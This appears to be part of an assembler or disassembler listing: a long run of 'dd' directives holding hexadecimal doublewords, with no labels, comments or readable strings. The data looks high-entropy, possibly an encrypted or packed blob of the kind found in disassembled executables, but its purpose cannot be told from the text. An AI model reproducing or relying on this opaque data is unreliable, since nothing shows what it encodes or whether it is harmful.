		dd 36D205C0h, 0A305AE22h, 0BDA184E9h, 0F6C51C6Ch, 0B68A00F9h
		dd 0C052E9CCh, 700A1B9h, 9B0F281h, 2969128Ch, 506E8D3h
		dd 2E9868A0h, 4F72FE01h, 78FE7D03h, 0E90880FCh,	0B893C090h
		dd 670F77DFh, 19312504h, 1DEB5FD3h, 0A9802574h,	0AD69FBB8h
		dd 97536C3Dh, 4E9FD75h,	470B3219h, 3804F5F3h, 7C5F25B9h
		dd 383C58FBh, 660171C0h, 258963D1h, 4DDC58C2h, 6178249h
		dd 0B7935736h, 0BDF5AC2h, 0C49D326Ah, 13FE4844h, 26780D86h
		dd 414FD197h, 3E6F2668h, 448C4230h, 4E849DE1h, 66578E01h
		dd 5055F7B1h, 16DA9C58h, 0F31E2219h, 0AAA75B1Bh, 0B4B8AA85h
		dd 5B1E66F5h, 29FA1724h, 7B0B9F9Eh, 5A75DCB0h, 3652B580h
		dd 39B865E0h, 0F31EE209h, 0FC792940h, 0AEA20837h, 84C16612h
		dd 902778Ch, 0C80FCE2h,	0F7FBDFB4h, 0E9D10127h,	6D3CCA3Fh
		dd 30D16628h, 0E20A0C8Eh, 0EA800ED2h, 1FD47F1Ah, 895AD129h
		dd 7234C801h, 50000684h, 7C25B866h, 939A5CE9h, 0C2923CA0h
		dd 9385A8BCh, 4E7D62B2h, 0E25012E5h, 9B031091h,	8FAF553Fh
		dd 0E3BA1203h, 42310EF8h, 63BA82E3h, 7F06326Eh,	0BCB845AEh
		dd 7D251927h, 0D6A0C0EDh, 89568095h, 4DB8DE72h,	2150B9B6h
		dd 37E9F46Fh, 6CA5FCC5h, 284B939Ah, 0A3B512F9h,	0A8AC6677h
		dd 885A1EE5h, 83D915EEh, 5D82900h, 55560B5Eh, 0E19F8FB0h
		dd 4A2C689Eh, 20B4A34Ah, 80C162F9h, 8030748h, 0FC09BAD9h
		dd 76A740C4h, 16225F6h,	936CB1Ah, 7821817Ah, 59A7B21Ah
		dd 1A2FB17Ch, 682C891Fh, 0B6FA29B7h, 0F2F2537Ch, 464BC9F4h
		dd 0C2C76510h, 0B5CF5427h, 73324658h, 49E4C306h, 0E9C407DEh
		dd 0F7B9BD45h, 0EA5C598Bh, 5D762F43h, 0ED96571Ch, 0BC47D226h
		dd 1A563EEh, 0E3C098C5h, 3D2739BEh, 0BB2D330Ah,	5C02998Bh
		dd 6F0F1F50h, 0F6169860h, 0ABE9BDD2h, 0F8EFD1FAh, 689F8B59h
		dd 0B7569D2h, 0DF316D48h, 9A27DD76h, 277556BAh,	5C79F974h
		dd 53282C66h, 59EB2634h, 0DAF05B2Eh, 59A10E9h, 12CEBD05h
		dd 49EB23DFh, 1E2185DCh, 8A164F68h, 0A2D1ACC7h,	8814D250h
		dd 180758Dh, 202D98D5h,	5FADCF73h, 0E3A04A2Ch, 44757024h
		dd 58BDF852h, 0EFC467EAh
		dd 2E5C18F5h, 39C59FBDh, 3A92A808h, 0A85347B4h,	0E5919231h
		dd 0D343505Ch, 0AD4A7Ah, 330DF700h, 6D316845h, 32BF7174h
		dd 525F9F79h, 0D831AAEEh, 366449E9h, 66D33128h,	4BB38C98h
		dd 0A65C3B7Ah, 5C3195C3h, 8D3E74F7h, 0A99ABD9Ah, 0FE02C74Ch
		dd 4318E06Dh, 4637B80Ah, 0F381014Ah, 706E1E9Ch,	69827F29h
		dd 0BD1FC8F4h, 2B3E3815h, 97C58181h, 3424F656h,	0E1412FD3h
		dd 653E032Ah, 0EBDBE274h, 4876F79Dh, 0A1B75B25h, 2A4E09D6h
		dd 5F02FA6Fh, 68CAEDE9h, 16A4BE7Dh, 0E10DAE7Eh,	30F60F4h
		dd 6F977F13h, 31F52B19h, 0B28E8E31h, 0B334D45h,	0BB18D07Fh
		dd 7728885Ch, 4630B328h, 0DAC1D3A1h, 2D162714h,	22090F76h
		dd 919A5D85h, 0ED49B0DFh, 5E2B7AECh, 2E8F531h, 2C705B08h
		dd 0FEE3E91Ah, 1626491h, 0FA189223h, 2A1C5709h,	6C49A1CAh
		dd 2D64E909h, 47618156h, 0F600C5FEh, 72DE9DDh, 24A034B7h
		dd 0A70A6AE9h, 9B401FD6h, 0FC078621h, 97AF694Ah, 0A82020D5h
		dd 2C9A40F4h, 5A8CCA01h, 0E4BDBA72h, 73BE207Eh,	511EDFB4h
		dd 92A05E53h, 0C493B064h, 10F196FCh, 1EBC028Dh,	884D5504h
		dd 271DE3CAh, 0D548AA3Fh, 8B2728E6h, 6910712Ch,	0E974C172h
		dd 0D2D47348h, 0E9F05FFCh, 9FD2FF0Ah, 37195EF8h, 7AC28BD2h
		dd 9DB4B097h, 7B84DB94h, 7D13C081h, 0FEC8E324h,	0D5A55952h
		dd 896BEF05h, 9930802Ch, 3B135E4Ah, 45F92DE9h, 966BC641h
		dd 0D29DB074h, 0BBF5F9B5h, 0F1F424A5h, 1EE39AE3h, 0CF70919h
		dd 386DA872h, 88835999h, 29595A2Ah, 2A247360h, 71574C12h
		dd 0F7C0AAA5h, 13940A8h, 0FBBA520Ah, 20756629h,	620F223Dh
		dd 89E942EAh, 94765424h, 0C600D002h, 89D17EFDh,	0B8065DEFh
		dd 0F6D2F107h, 0BF03B2ACh, 0AC76B43Ah, 6F948008h, 2542C409h
		dd 62C81EFFh, 77C3F029h, 9C0FB944h, 64797064h, 29FD8C6Dh
		dd 3254F10h, 6658E728h,	7089D253h, 0CBB909C0h, 0DE020E05h
		dd 5305B49Eh, 3C62ECB8h, 0ED68B613h, 434FAB68h,	1230018Ch
		dd 0C80E7D36h, 2B2433BEh, 0CF009172h, 18216779h, 71EF4D83h
		dd 9ED7313h, 3CD23121h,	1BBB2BB0h, 0E1C90B42h, 0B36C395Ah
		dd 7EF06809h, 5E6BEAD4h, 354000F2h, 8E9669Fh, 923AAB96h
		dd 96B57214h, 4B851239h, 5270F781h, 0A25A1026h,	4CF85870h
		dd 80445579h, 40E64D30h, 9F0905C8h, 5F7CE44Dh, 0F7255996h
		dd 600359D8h, 2D986D7Ah, 0B1017698h, 0E90D5E6Ah, 0D454D790h
		dd 2FA58881h, 3F10BCDh,	8002F23Ch, 0E82837EDh, 0DCB2D3E0h
		dd 6E2C013h, 2C6285FDh,	0BA009091h, 58D101C4h, 0EA06496Eh
		dd 22B1C389h, 0A9AC664Bh, 0D769B8D4h, 2957BD6Ah, 0B8340411h
		dd 0E592BCB8h, 218E4027h, 6830E978h, 0D35D2071h, 279B90E0h
		dd 0A3C12E40h, 0B92C648Ch, 622F1509h, 544A0465h, 0C9C2B0BAh
		dd 7740B31Fh, 51E927FEh, 0C510C10h, 5FC0390Bh, 9262DA68h
		dd 6BA09978h, 423008F6h, 0DEFD609Dh, 77214366h,	0F1E045BEh
		dd 9A275525h, 1E08404h,	9D65FA2h, 91542D44h, 0BD45044h
		dd 781E29AFh, 0D6E9A1F1h, 4000526Ch, 0F54E0105h, 0E824D14Fh
		dd 0E5017335h, 0B0DD2D31h, 0E92808C5h, 373B985Ah, 0F68D224Ah
		dd 5DEFCE7Ah, 2F20516Dh, 0C1819894h, 0B100DB5Ch, 0B30F53CCh
		dd 86D920A2h, 562C10h, 0E4C064B4h, 0EBF48007h, 0B3D34395h
		dd 7C1276CDh, 49F53EEAh, 6E92675h, 0EC58970Fh, 7EA84A7Eh
		dd 6E9F95F6h, 40C6B0C9h, 474B5C31h, 542472D8h, 0E83E7E8h
		dd 596E9F4Bh, 0E353F2C4h, 90670B8h, 7CE949B9h, 3092EE3Bh
		dd 0E192A35Ch, 21E03FC3h, 274148h, 432F10D1h, 0BFA5E7E9h
		dd 0B02D7647h, 0B7AFF05Ch, 0D5175645h, 9EA98A4h, 48A76BF8h
		dd 868A8D7h, 0D4BA1C34h, 0E38DAF03h, 34665D66h,	0E9165D5Bh
		dd 0A5B98434h, 447A3A55h, 5BEBCC0h, 0E9535351h,	0C0952AFh
		dd 0F68DAE2Ch, 0FD0EC10Bh, 20AE766Dh, 4FEF0980h, 0A0003547h
		dd 6F540F77h, 0EB7FCF9h, 0C35E6B25h, 0C43C017Fh, 1213C41h
		dd 2A7431F3h, 0F6C90A13h, 132F2B21h, 2974AF21h,	2A3C8680h
		dd 0F5345A50h, 0C4080484h, 2D9FD16h, 0BB51A4C7h, 0B14E5129h
		dd 6F188BE0h, 0A23B289Dh, 26E982A6h, 0BC17FD08h, 0D1CD5009h
		dd 88C0C9B9h, 0DD5EFAE9h, 20680C8Dh, 931B993h, 51C074E9h
		dd 573D3D07h, 360B67Fh,	0D7886EB2h, 0EF7043CAh,	33EE217Fh
		dd 0E1A51067h, 0C5E0B1E4h, 8C499CF6h, 0F8556EE6h, 76275F78h
		dd 4F152FDh, 0F7364BEDh, 1820B605h, 5F542932h, 44D05B21h
		dd 0FF9A63EBh, 0EF2A5A41h, 26A44FDh, 3E3F689Dh,	0EEDF6148h
		dd 0A10BDF82h, 1223768Bh, 0FDCC3768h, 28BA9207h, 0DA4BA1E0h
		dd 9556EADCh, 94094842h, 7271D97Eh, 0E76B9035h,	0B96809FEh
		dd 0C9225E0Dh, 0F20694F7h, 0D8C625E9h, 0E075B9EAh, 9F666195h
		dd 89BD19D8h, 8BF9D959h, 53DE8D7Ch, 143BE95Bh, 1059CA3Bh
		dd 660215E3h, 5BF82858h, 0D453DBC9h, 4C05251h, 76B142B6h
		dd 0D5D84BE9h, 98B58375h, 7BDC303h, 0D75EF861h,	0C6B4A954h
		dd 0A7050909h, 0E42B890Bh, 6849096h, 0DF2EA9B0h, 0D6883E89h
		dd 0EF88006Dh, 0E7C05966h, 1B25027Ch, 65015E08h, 0C06CD1F9h
		dd 0EB80F4E3h, 352A2F7Bh, 34CDBC1Eh, 0F7FC4DB0h, 6368B56Fh
		dd 1F90BDF4h, 0EE55E540h, 3B7813C5h, 4E7BFC31h,	48A2EC25h
		dd 0D2F38002h, 9081D988h, 7066D1B5h, 0D5E22829h, 50165AECh
		dd 2909A2B4h, 0BA84D7C0h, 50B6ACF2h, 7A9F68B8h,	5A6E9FB5h
		dd 3FF0500h, 0D0012C9Eh, 8B07A12Dh, 82DF257Fh, 9BDC9h
		dd 7D05763Ch, 0E42FFB37h, 0F5B83F78h, 0EDC14D09h, 0E93FF06h
		dd 0C0C58198h, 28C45B04h, 2E12BE9h, 21AB7204h, 34EE29E4h
		dd 585C766Ah, 0C6EF020Bh, 6027627Ch, 4454A5Dh, 70E913A4h
		dd 2B69EE97h, 55F012B0h, 1154D4E9h, 212C5F6h, 0FEB0D3Dh
		dd 4DC407DFh, 8EBF24B3h, 0A3A0406Ch, 0BE58180h,	531F0F30h
		dd 0F8D21F00h, 0E974ECF5h, 4727E9BCh, 16E91ED4h, 1653A3B3h
		dd 92402E5Fh, 0C06AA04Eh, 25FEB029h, 1ADB7FFCh,	1617549Fh
		dd 0C16F88A1h, 0A625116Dh, 0C70FD65Bh, 91F56DFh, 5ACBF74Bh
		dd 22B41C9Dh, 286BACE3h, 0B1D25AE7h, 4CA569ECh,	15B00976h
		dd 0BA09DF19h, 0E9C17A7Eh, 8D57AD45h, 0F71AF562h, 0E2B8029Ah
		dd 77C379BBh, 3D3B5B68h, 0CD607617h, 0D7C20CBh,	0F31F7776h
		dd 48FB7FF4h, 25B16B7h,	0C2D457E9h, 0E546AC25h,	9FC92922h
		dd 9949C9D1h, 71924E35h, 0AB31FF8Fh, 9EF9B0B1h,	4FBAEE34h
		dd 31B3C29Ch, 96FE2852h, 4EE2ABB7h, 0B24981FDh,	0EA5AC052h
		dd 68850199h, 91E23109h, 166E1DEAh, 57A921EFh, 0EC22CCh
		dd 7A4B388Ch, 0E65CD81h, 0E94FE533h, 0C9F39D49h, 0D11032ACh
		dd 68E20973h, 7AE45113h, 35808DA3h, 0B90B7117h,	2C04731h
		dd 9B2C3EEh, 1B156482h,	1CE3FEEBh, 37BD194Eh, 63735E7Fh
		dd 230F2CDBh, 450525Ah,	0A91095EFh, 0F70BAC2Dh,	2FB8F3E5h
		dd 20B64E02h, 0C798A2E7h, 0CCCBFCE4h, 0C6C346A8h, 59E3E775h
		dd 717AE8ECh, 2FB0EE7Eh, 2D31250Bh, 0C4C38247h,	0AA0104E0h
		dd 6CDB7201h, 0C9D4652h, 6769235h, 0C1C4B94Dh, 175B18ECh
		dd 1E7EBAA5h, 0A30A8B51h, 15C20C74h, 257CCE14h,	5FE27EE9h
		dd 4C04BC75h, 6E18C55Fh, 0D5312CC3h, 68A5D197h,	87A06F8h
		dd 0C2202E8Ch, 0DF292DFDh, 0F8018D7Ch, 55789D20h, 0EAB62230h
		dd 8D2B480Dh, 0A347D509h, 30D72909h, 0B8EA29D9h, 14CA094Bh
		dd 5EE0DA23h, 9E6B3759h
		dd 4C39007Eh, 0F6E97D35h, 0C5B712h, 0FFAA4327h,	4A88CBA4h
		dd 110E009Fh, 0F961BA48h, 4C98B7EEh, 0E525FC9Eh, 0CC74AD2Dh
		dd 2D48F25Ah, 5F7C0804h, 79F93C62h, 8E942D91h, 6F087995h
		dd 26AB7C62h, 2FC8B80h,	9507A04h, 6A31E99Bh, 322C50F4h
		dd 0A5D1C661h, 0B71A10D3h, 25275E84h, 0F7D3E5A2h, 0CE812410h
		dd 1B1A3D0Bh, 125EFC01h, 4FBDC255h, 87579E0h, 922C712h
		dd 608C2DEAh, 6C2613C4h, 0D909A243h, 0B2C78849h, 3DD35F95h
		dd 85832751h, 3CAB05FBh, 0C927E972h, 0C0E012F3h, 926B23AEh
		dd 7BF1974Fh, 10B951E2h, 0E918CE29h, 0BE346A8Bh, 0C02F12B4h
		dd 1C03B808h, 8AC2AFF6h, 0DDF589EAh, 71B09E64h,	0A651712h
		dd 0D586480Ah, 0EE0200A6h, 5406C076h, 62E95098h, 2D276E4Ah
		dd 0D0945285h, 6450F7FCh, 346F1B89h, 90984A7Bh,	0AEC184CBh
		dd 17B36E07h, 384CF13Ah, 0C6700A18h, 0B710931Eh, 9C40C459h
		dd 59FB6ED8h, 24DF5F89h, 9CB8CD35h, 73796D0Eh, 0B62CE0DFh
		dd 3CD9F9F0h, 0DA685F00h, 0DA33094Fh, 0D758905h, 26E94B74h
		dd 4040D894h, 33EB65FAh, 27592598h, 0F0291372h,	12E71D08h
		dd 2D0DF350h, 528ADC52h, 46A50345h, 26C490F4h, 0C8BCCA6Bh
		dd 0C25BA5F4h, 0CA54E9C2h, 0C5605D7Ch, 40199405h, 2DA04FAEh
		dd 3FF0744h, 58D57CD3h,	6075A5ECh, 0A983A6D5h, 0A806871h
		dd 8B2F39BFh, 0F7348179h, 0CEAF0D3Dh, 9BAC4B70h, 0B84317D3h
		dd 2151CF26h, 55E4362Eh, 17BED1A4h, 0DF47D0B9h,	661CAE35h
		dd 0DDA8DEF7h, 15963B20h, 251F1668h, 8087B439h,	3EFEC8C4h
		dd 0BDFCCC4Eh, 518E01CAh, 0C8E28852h, 422EE9D5h, 5B4248F1h
		dd 8758050Ah, 0F5EE1B14h, 7397E0E6h, 0DE68612Ah, 4A122318h
		dd 189C7AB9h, 1681C80h,	24885549h, 92B2A7D0h, 5A71C1EAh
		dd 9A2EF32Ah, 282D70Fh,	0BD763888h, 9B81E986h, 0DE29B5ABh
		dd 0FB26BAFDh, 82C60BB7h, 2BBC2DBh, 0E00E6AEBh,	57DFC279h
		dd 9C7D188Bh, 88D3950Bh, 0F84B163Bh, 93C157E8h,	201AC06Fh
		dd 3300FD21h, 0FA295FD6h, 0B4E166E9h, 0EACBEEA4h, 29957FECh
		dd 8A91C233h, 5B25E2DFh, 6A600828h, 382AF628h, 282FA711h
		dd 8A6C2267h, 0E294D78Eh, 2D636CBFh, 0BE6C6710h, 0D4011A9Ah
		dd 0C1262309h, 887A07EFh, 0D95897Dh, 0E66B8753h, 49AB9466h
		dd 59CF17ADh, 0A52A18F5h, 0E9C711E9h, 68136B0Ch, 0EAE4E5BCh
		dd 0EA560E32h, 0FF6F425Ah, 0E9FE0CBEh, 9066A427h, 4B2B6842h
		dd 71CE3025h, 7C2757BFh, 37379031h, 9E23B188h, 27F4B54h
		dd 0C26AC0DEh, 9170D604h, 33641Dh, 6D8243D1h, 2C0CCB81h
		dd 0C116A7Fh, 0B2651F31h, 40E9C410h, 61388AC6h,	0BDF68E5h
		dd 1377CA3Fh, 14618F5Ah, 135162FAh, 0EF34C8E9h,	0E484BD54h
		dd 0F75891FDh, 0C1EBFCD2h, 0F2DDFFCAh, 29129810h, 0EA2265D3h
		dd 675CB904h, 66CC0912h, 25F99C57h, 6058E8C1h, 8E374714h
		dd 0C3E612C9h, 81C70534h, 28AB9405h, 41B25EE5h,	6307B0A0h
		dd 0CA064B25h, 7508095Eh, 0F731D115h, 0D9A07709h, 5E082493h
		dd 0E0A725BEh, 0B106CCEFh, 3A2C46C1h, 0A7DBF828h, 535B016Eh
		dd 0FB281A68h, 4B753DEh, 13808681h, 848D5114h, 4519F7A8h
		dd 556FA3Bh, 3FC88369h,	0F743D811h, 204D3D1h, 0D5255AC9h
		dd 23480077h, 0B0754128h, 5D9E0E87h, 6CA5C938h,	0C8CCBA15h
		dd 820F4172h, 14712C3Eh, 84AC0008h, 0E917E7AAh,	0DAB497D7h
		dd 0D6D7AAB7h, 302C5104h, 599274DAh, 94A7515Fh,	212B207Eh
		dd 510239Ch, 0A0762458h, 0EC2774ECh, 306F0FE5h,	0F5840B09h
		dd 909FC66Ah, 2380EB1Eh, 513B389Eh, 5D0800D5h, 7A4ABEE9h
		dd 3431B290h, 0C3D605Ch, 71AF35BFh, 0CFE681A0h,	0BF2F0226h
		dd 0EBF31019h, 5E16D56Fh, 180E4410h, 1006E30Ch,	0B8C42B3Ah
		dd 0A3671364h, 0F9BBADB7h, 7FCC8887h, 0DFBA5F1Fh, 0FD86D913h
		dd 4A82F639h, 0C76CB40Ch, 0DD264A0Eh, 34E7C014h, 7C629651h
		dd 6C029583h, 5B04EC0Bh, 0CFEB0294h, 0B00222FDh, 5488497Eh
		dd 0A3A499Eh, 0F6A73371h, 830958D5h, 42888483h,	0CFD9DE41h
		dd 390D2C77h, 84D97D11h, 0FC13B6D6h, 4C971037h,	10C2FB22h
		dd 5774D3E9h, 0B5036EE6h, 0F6E5867Bh, 7CF0FAD4h, 345A813Ah
		dd 0ECC5306Dh, 0F9D0FECAh, 85871083h, 0C0B72C02h, 9F4008E0h
		dd 0C7258030h, 2827C94h, 8EE982F7h, 0BA04D070h,	10C5A14h
		dd 985D01BAh, 7A182A56h, 0B850F8C0h, 60790087h,	58C70943h
		dd 0E72EC147h, 813DA203h, 0E94EE108h, 846CADBCh, 12A389C4h
		dd 19249B9h, 0C8311851h, 0CEE9C597h, 3E5F014Ah,	7E55C5C6h
		dd 0BE31F4C9h, 464A4112h, 9A436FC0h, 8F78960Ch,	0C5019BC6h
		dd 30F20115h, 0B99C3F3Fh, 61C7EF9Dh, 0CFE64F0Ah, 58088BDEh
		dd 0A45E2ADEh, 723FC674h, 78652709h, 0B12713E3h, 19DC0B61h
		dd 5AD19B22h, 0E9F03F76h, 0B4635432h, 0A51D0202h, 8EAC13Bh
		dd 14E2B780h, 53584B75h, 32BF4009h, 0D0ADA116h,	408F95A0h
		dd 6ABDB9B3h, 78845DD6h, 8568256h, 8B14577h, 0B70E23DEh
		dd 0CAF1133Ah, 9F208E21h, 3BCEB16Ah, 0C50BEC99h, 28C3F9FDh
		dd 8FBA074Bh, 42E69724h, 70466A6h, 82B0B54Ah, 0FBF4C617h
		dd 4204A3ECh, 0EF49C330h, 868411Dh, 0D0FEA295h,	0E896487Dh
		dd 0B8E2B704h, 9D251655h, 9E41646Ah, 0C69854DDh, 41E916DEh
		dd 7677FE1h, 9268DFA0h,	603A9405h, 6D3B635Bh, 0D1C7292Dh
		dd 7CE9E1B2h, 0DD815179h, 0F2E22B5Bh, 37D60503h, 0A1484A56h
		dd 5BBC443Ch, 30255577h, 57B34AB8h, 2B11BCBh, 6777C201h
		dd 7F680528h, 3144F23Ah, 88DD4850h, 32D82801h, 96BF7C52h
		dd 70FB9FBCh, 0FFE6B28Ch, 9F2D07D0h, 0C5CF988Eh, 3694AA06h
		dd 0B3D6FABDh, 0DBE90D64h, 832F296Dh, 0D1316CEBh, 1A0BDEE6h
		dd 2CA27120h, 0E851643h, 15CB7EC6h, 77AC1B02h, 8C6B6803h
		dd 0BC5B1AB2h, 0FC1909CAh, 76825D51h, 0D20BDC1Ch, 6094F2C9h
		dd 0E0F66BADh, 0CF4A85CAh, 0B93C5AACh, 41984C9Dh, 77E9D931h
		dd 0D32A96FAh, 786C164Bh, 67B8093Fh, 2026443h, 0E4F26266h
		dd 89951BEEh, 52387689h, 2F80ED41h, 9743ADC9h, 45514ECCh
		dd 1E18959h, 916E5D92h,	59A46039h, 44E906A0h, 19795F0Eh
		dd 9210D601h, 0CC5D2508h, 77C86A82h, 36ED00DEh,	252D6E54h
		dd 52912E17h, 5E7D84B8h, 7D14D1F8h, 0E15903CFh,	0F23AB03Eh
		dd 0C40B9F27h, 2000C672h, 0DE819854h, 96516542h, 0D14B7B40h
		dd 2C52464h, 0E5262407h, 4007E9E3h, 9B74BB7h, 0C96EE6D6h
		dd 2544B9E4h, 50F7554Eh, 3BFF5389h, 48AC25A8h, 0B857D28Fh
		dd 2F20A667h, 0FD1994D1h, 211F2E77h, 2260A64Bh,	605AD3BFh
		dd 159DD27h, 0C2317638h, 766096E9h, 89821317h, 0C1A4EFE8h
		dd 10A268D0h, 0A66D35E9h, 886CB7FDh, 5B030520h,	7302BC5Dh
		dd 50090097h, 7DDBB53h,	8965C70Bh, 0F080E4D8h, 0C069FE1Fh
		dd 9FA38504h, 95F3A088h, 0FF04D600h, 0C01DD0F6h, 30DD07E8h
		dd 0F7D8D8D6h, 0C362958Ch, 0A5EF147Eh, 47B480C9h, 9F260BD0h
		dd 8F50314Eh, 0EF763634h, 0FDEA17FBh, 870AD3D7h, 42AD75CBh
		dd 0D0D5DC85h, 6880E0FAh, 662E1775h, 4C18A322h,	7A0504BEh
		dd 67A87941h, 0BC10112h, 0E56101Ah, 0C742E4C8h,	7012DF5Fh
		dd 0CB11B057h, 760F27EDh, 0E902DFFEh, 0D9EF62Fh, 337D6A29h
		dd 388D8D2Bh, 0A22D8010h, 0DD5C0509h, 9D07284Ah, 99A92C70h
		dd 35897021h, 6AECE54Ah, 1F4752C4h, 21406F53h, 0F280CAFEh
		dd 0E2C01D6Bh, 0D333BC03h
		dd 0C2E0F412h, 0D00930A5h, 45C6885Ah, 0EE8009E2h, 0F1156104h
		dd 0DD817EA2h, 83E808EDh, 71A09F95h, 4F1E664Ah,	36FCF8EDh
		dd 2C241335h, 7B54516h,	0F0F9356Eh, 0F34F806Fh,	0B691A08Ch
		dd 97BC271Ah, 0C0CB43D7h, 5D30752h, 0F678CFB3h,	263100Ch
		dd 0DA5B0DD2h, 4B79D4CBh, 925F743Dh, 24F2E0BBh,	0C020F458h
		dd 78B95D4Eh, 7DE5F103h, 0D7F91DBFh, 0F3458083h, 0DB9F3DF7h
		dd 5BDA0A89h, 9DD5253h,	7698E275h, 323ABE66h, 314E5847h
		dd 9BE1448Eh, 0F25B2133h, 4500D3B1h, 19201F9Bh,	58E25CC1h
		dd 5701494Ch, 0FE064DBFh, 5AEC3C6Dh, 680B5DEDh,	0F9F30866h
		dd 82135624h, 1DAA28ABh, 1EBD065Ah, 0F4F80889h,	83A35A4Eh
		dd 12B7ADD6h, 60E926D5h, 2FADE9A1h, 2CBBFE13h, 0B0B55BBCh
		dd 1129C52Eh, 28671779h, 0B89808EDh, 0F4E87CD6h, 3726EA1h
		dd 0FC905E29h, 0EA8B400Ah, 21AD1D0Dh, 4020024Fh, 0F260392Eh
		dd 3856648h, 0A18A804Dh, 3C5EB190h, 0CC2FB3A1h,	0F19755B6h
		dd 0D00558EFh, 66EB3302h, 7D0B4CE9h, 6E0BDB45h,	2D0EC6DBh
		dd 0A2305452h, 23D75FD6h, 29E079C2h, 0A291DEF6h, 98CE1F5Bh
		dd 0FB722830h, 0D609B5B1h, 49B1DC74h, 0EEB16C04h, 63C25B24h
		dd 0CC145F8Bh, 0ACE91E9Fh, 70682510h, 82DB188Bh, 2D107EA7h
		dd 0D8A6D465h, 0E9028907h, 9DBB5DD6h, 6EE7F00h,	0B57E540Bh
		dd 98825827h, 9D9BADDh,	2D55A416h, 0D097DDFAh, 0EB17341Ah
		dd 104C872Ah, 685AF728h, 8E8144Eh, 551B2C7h, 0ADAD71D7h
		dd 9181AD8Fh, 86549F9Ch, 94FEC9C4h, 90A20579h, 0C4CEBCE5h
		dd 81E41158h, 605C41C0h, 0C24873BEh, 7BCBB3A3h,	0F46EED3Fh
		dd 56F858E6h, 97AF1649h, 0FDE570E4h, 83584340h,	82EA5BCEh
		dd 0AAD65299h, 304BD202h, 0FC2DD48h, 17AB070Ah,	0BB925292h
		dd 8D14C617h, 6F1F0572h, 84F439CFh, 0ACB04014h,	50526600h
		dd 8853CBB4h, 0A3E3EDE7h, 0FFF4B1FEh, 88376EA9h, 0BA01D539h
		dd 19915ED0h, 0C238BFE9h, 58E53870h, 1377E824h,	11D794C9h
		dd 8705B5E7h, 0EBE7D1F7h, 400990D8h, 1F772CB8h,	0DB993124h
		dd 4EFD4796h, 108E6882h, 525ED366h, 125F98FCh, 0C544FCEAh
		dd 19E3B7C4h, 2DC45027h, 75E442B5h, 0A5E98EB8h,	5F125096h
		dd 84FBF50Bh, 64AA66BAh, 0BE835713h, 0A8DAAD68h, 18D8308Fh
		dd 1977ED68h, 38B37019h, 18A0CB22h, 0D7A61A56h,	8AF412C4h
		dd 0B86701BDh, 7D17D0C6h, 60003540h, 2526B42Ah,	17483D69h
		dd 5E8832Ch, 0EF05E057h, 642B9680h, 0BD5205C0h,	81B4184Dh
		dd 49992F34h, 0B1C9A440h, 0C965F900h, 0F1D3F731h, 90D8917Bh
		dd 10C90713h, 805B4E72h, 3B4FC180h, 0B1080783h,	0D9E7FE58h
		dd 0D8C354F1h, 9918FDE9h, 2B66A7FBh, 696E3DFCh,	5B26A446h
		dd 0A4883ACDh, 0BD0091F8h, 65B41FC5h, 69F49845h, 0B8760FC2h
		dd 7C026528h, 0E9334A67h, 3EAB7C32h, 0A7C0B84Eh, 0FFB2F1F2h
		dd 8AC9A01Bh, 6812977Eh, 5FB1E8C4h, 2039DF6Eh, 57E92D33h
		dd 0DCBEAEC1h, 11A3A79h, 41C3F029h, 8100E2ABh, 2D27FEE7h
		dd 3C2A7CE1h, 0FD558300h, 405FF809h, 3F3C0501h,	23E91808h
		dd 150D334h, 0F155C668h, 0DD055844h, 891CC4BDh,	933CC1B9h
		dd 64AF6DF5h, 3E79FBB5h, 60F73134h, 6F2D1CDEh, 3125AED6h
		dd 60799AF0h, 5663D88h,	0EFE93815h, 56D04480h, 0DBB015Ah
		dd 0B7417B7Ch, 0B80090C6h, 0A12D491Dh, 818C6010h, 1A3C1EC9h
		dd 1812E5Eh, 7B9C66Eh, 75D76A89h, 6676C40h, 0DCE92F79h
		dd 750261A9h, 5E018FBBh, 0EB88295Bh, 556B6366h,	6232BB82h
		dd 202E4077h, 5A552561h, 5908F3E0h, 0FB87A95h, 66D42711h
		dd 6DC9D2B7h, 68DFBACAh, 938DCC91h, 685302E9h, 9CF57C3Ah
		dd 67E91332h, 821A520Dh, 6842F10Bh, 4C804B55h, 0FA10A810h
		dd 77213CBBh, 74A8E427h, 0CE44CF4Bh, 1638A6DCh,	28FE7B4Eh
		dd 33007786h, 0C2812F29h, 4CD6CC8Dh, 9D0037D0h,	139EA20h
		dd 10B053D1h, 52209941h, 0A03B9559h, 0D8840C58h, 0BD56D5E4h
		dd 5B46BDF9h, 720100EEh, 305382Ch, 0C748D38Eh, 56C12D94h
		dd 690A6973h, 60F310DFh, 50EE036h, 4A44F669h, 21FED0A7h
		dd 7EE36B7Ch, 92F24EA0h, 0D2D39D22h, 0E9555C60h, 0D749B533h
		dd 40CE31C7h, 4147D488h, 5AC73B78h, 0C430B830h,	32157105h
		dd 2D6427E4h, 525E0780h, 0E19FC289h, 0EFFD5886h, 211ACD22h
		dd 14AA5FC4h, 3554018h,	585872C5h, 9792552h, 27CF47D7h
		dd 5C514474h, 0A673C541h, 58056433h, 0A9718268h, 7DE982E7h
		dd 0B5510017h, 0EB5C88E6h, 0C2642D2Ah, 0BB16571Ah, 90FE14BDh
		dd 12165F92h, 9560ABCCh, 0E1614368h, 0DE16FFC2h, 0C22B01F1h
		dd 7E070005h, 5B6FFB07h, 5E3C11Fh, 0DA45F0D3h, 7CAFD7F6h
		dd 0D25E90Eh, 4A3AD671h, 79121547h, 51F0B409h, 0B9D68B04h
		dd 71BAD2CDh, 7C02E941h, 0D7291A17h, 0A8667474h, 0E9F817F0h
		dd 5C674B85h, 820B0E4h,	0F5863958h, 0B050EF02h,	1E413002h
		dd 0E93BCC80h, 617A6B24h, 5E99F667h, 50D1A5B0h,	5D8C6885h
		dd 0CDBE9435h, 0AAF84464h, 15D94591h, 8915222Eh, 5E081ADCh
		dd 69D82DD5h, 113D5D14h, 588801E6h, 0BCE92CD0h,	0D17E932Bh
		dd 7B64BEB9h, 1F120A8Ah, 0BD04A4ABh, 25160E60h,	7A813CBCh
		dd 5D3E2756h, 46136864h, 0DB01D6F7h, 3FFA115Bh,	3A60DFE1h
		dd 8621193Bh, 0F0D00C2Dh, 0DC801A44h, 6CA83E2Ch, 3666F701h
		dd 0C2E9436Eh, 0BD04EC58h, 311773CDh, 4199CEE0h, 1E022AE8h
		dd 0D754C40Fh, 0FAC1E600h, 7D0B1552h, 0FFC81CE9h, 8FBCC619h
		dd 0E5DA31A5h, 8DEF037Ah, 0B2C6BE76h, 0D5EFFD80h, 27F8EA28h
